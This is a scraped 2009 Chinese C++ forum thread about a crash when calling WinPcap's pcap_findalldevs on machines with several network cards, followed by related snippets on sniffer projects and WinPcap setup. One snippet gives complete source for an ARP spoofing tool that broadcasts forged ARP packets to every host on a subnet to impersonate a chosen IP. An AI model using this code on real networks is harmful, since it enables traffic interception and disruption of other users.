使用 pcap_findalldevs 查找网卡地址列表，单网卡环境不报错，但是多网卡环境通常都报错，请教一下可能的原因及解决方法

yang_fujiang 2009-03-02 03:21:25

RT

...全文

181 8 打赏收藏转发到动态举报

写回复

8 条回复

切换为时间正序

请发表友善的回复…

发表回复

凄凄迷人 2009-05-27

打赏
举报

回复

哦。楼主不知道怎么样了？？我做的调用pcap_loop的时候报这个错误。郁闷了

yang_fujiang 2009-03-06

打赏
举报

回复

难道真的是我的winpcap安装出了问题？

yang_fujiang 2009-03-05

打赏
举报

回复

有出现相同状况的RX麽
没有的话散分了
唉。、。。

yang_fujiang 2009-03-04

打赏
举报

回复

if (pcap_findalldevs(&m_pcapAllDevs, m_acErrBuf) == -1)
{
return FALSE;
}
在这里就内存报错了
access violation
比较疑惑。。

总哈哈 2009-03-03

打赏
举报

回复

我的不报错呢！是不是你winpcap装出问题了？

yang_fujiang 2009-03-03

打赏
举报

回复

自己顶一下等待达人

总哈哈 2009-03-03

打赏
举报

回复

我知道了，有个地方你没弄好，看我的代码！



	for(d=AllDevs; d; d=d->next)

	{

		if (NULL != d->addresses) // 特别注意这行

		{

			m_ComboNetCard.InsertString(m_ComboNetCard.GetCount(), _T(d->description));

			m_ComboNetCard.SetCurSel(i);

			this->AdapterNameList[i] = d->name;

			if (strstr(d->description, "PPP/") && headLen == 0)

			{

				headLen = 62;

			}

			this->AdapterTextList[i++] = d->description;

		}

	}

namelcx 2009-03-03

打赏
举报

回复

到底报的什么错？文字提示是什么？
你总要给点提示撒，哪有这样问问题的.

嗅探器设计与实现-基于c++实现对于网卡流量进行数据包分析源码+项目说明.zip 项目设计获取网卡在下拉框控件中，使用GetAllAdapter()获取本地的网卡信息获取的网卡信息是pcap_if_t类型的链表，每个元素存储了一个网卡的信息点击确定控件时，会获取下拉框的位号，由于链表头使用的是全局变量，所以根据索引可以得到网卡信息的结构体获取网卡结构体的name，注意description属性是网卡的型号并不唯一设置过滤规则创建一个模态对话框，通过filterName进行过滤规则信息的传递在主对话框中解析该字符串获取过滤信息创建消息处理线程 setFilterRule()进行数据帧的处理使用pcap_findalldevs_ex()获取设备链表使用pcap_open()建立嗅探会话使用pcap_compile()编译集成过滤规则使用pcap_setfilter()关联过滤器和抓包驱动使用pcap_next_ex()捕获链路层数据帧使用pcap_findalldevs_ex()获取设备链表 packet_handler()每次获取一个网卡的数据封装成消息

1. 阅读源程序：枚举本机网卡信息函数int pcap_findalldevs(pcap_if_t** alldevsp,char* errbuf);打开相应网卡并设置为混杂模式pcap_t* pcap_open_live( char* device,int snaplen,int promisc,int to_ms,char* ebuf); 截获数据包并保存为文件用到wincap中的函数pcap_dumper_t* pcap_dump_open(pcap_t* p,const char * fname) 2. 运行MyCap, 截获效果图. 3. 运行下列命令，同时捕获相应的数据包并分析：  Ping 202.118.224.2  Ping bbs.jiangnan.edu.cn  Tracert 202.195.144.135  telnet bbs.jiangnan.edu.cn

图形表示型式设计，参考 pcap_if_t *alldevs; //网卡链表的一个指针 if(pcap_findalldevs(&alldevs,errbuf)==-1) //查找网卡 MessageBox("找不到网卡！"); int i; for(d=alldevs,i=0;d;d=d->next,i++) {m_comboboxx.AddString(d->description); //下拉列表中显示网卡描述 alldev[i]=d;} //将网卡存入数组中 m_comboboxx.SetCurSel(0); //下拉列表中第一项显示0号网卡 m_listcontrol.InsertColumn(0,"Source IP",LVCFMT_LEFT,170,-1); //列表控制框标题栏 m_listcontrol.InsertColumn(1,“Packet numbers”,LVCFMT_LEFT,155,-1); //列表控制框标题栏 GetDlgItem(IDC_BUTTON3)->EnableWindow(false); //初始停止按钮不可用

//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型：以太网接口类型为1 unsigned short protocol_type; //协议类型：IP协议类型为0X0800 unsigned char add_len; //硬件地址长度：MAC地址长度为6B unsigned char pro_len; //协议地址长度：IP地址长度为4B unsigned short option; //操作：ARP请求为1，ARP应答为2 unsigned char sour_addr[6]; //源MAC地址：发送方的MAC地址 unsigned long sour_ip; //源IP地址：发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址：ARP请求中该字段没有意义；ARP响应中为接收方的MAC地址 unsigned long dest_ip; //目的IP地址：ARP请求中为请求解析的IP地址；ARP响应中为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif //ArpCheat.cpp #include #include <pcap.h> #include #include #include #include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围，则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一个子网，继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; n地址，网络字节顺序 unsigned long destIp = net | htonl(n); //构建假的ARP请求包，达到本机伪装成给定的IP地址的目的 packet = BuildArpPacket(mac,fakeIp,destIp); if(pcap_sendpacket(adhandle, packet, 60)==-1){ fprintf(stderr,"pcap_sendpacket error.\n"); } } } return 0; } /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName){ static u_char mac[6]; memset(mac,0,sizeof(mac)); LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet; //目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议，0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型，Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型，IP为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址长度：MAC地址长度为0x06 packet.arp.add_len = 0x06; //协议地址长度：IP地址长度为0x04 packet.arp.pro_len = 0x04; //操作：ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址，填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据，18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } VC++ 6.0 中使用WinPcap 下载并安装WinPcap，安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。增加WinPcap的include和lib路径： Tools→Options→Directories，其中include文件的路径增加WinPcap的include路径（其中有pcap.h等头文件），library文件的路径增加WinPcap的lib路径（其中有Packet.lib和wpcap.lib）。增加项目的静态链接库： Project→Settings→Link→Object/library Modules，在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。增加预编译信息： Project→Settings→C/C++→Preprocessor definitions，在文本框的末尾添加”WPCAP,HAVE_REMOTE“。

函数原型： int pcap_findalldevs(pcap_if_t **, char *); returns 0 on success and -1 on failure. /* * Item in a list of interfaces. */ struct pcap_if { struct pcap_if *next; char *name; /* name to hand to "pcap_open_live()" */ char *description; /* te...

18,356

社区成员

64,214

社区内容

发帖

与我相关

我的任务

c++c语言开发语言技术论坛（原bbs）

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章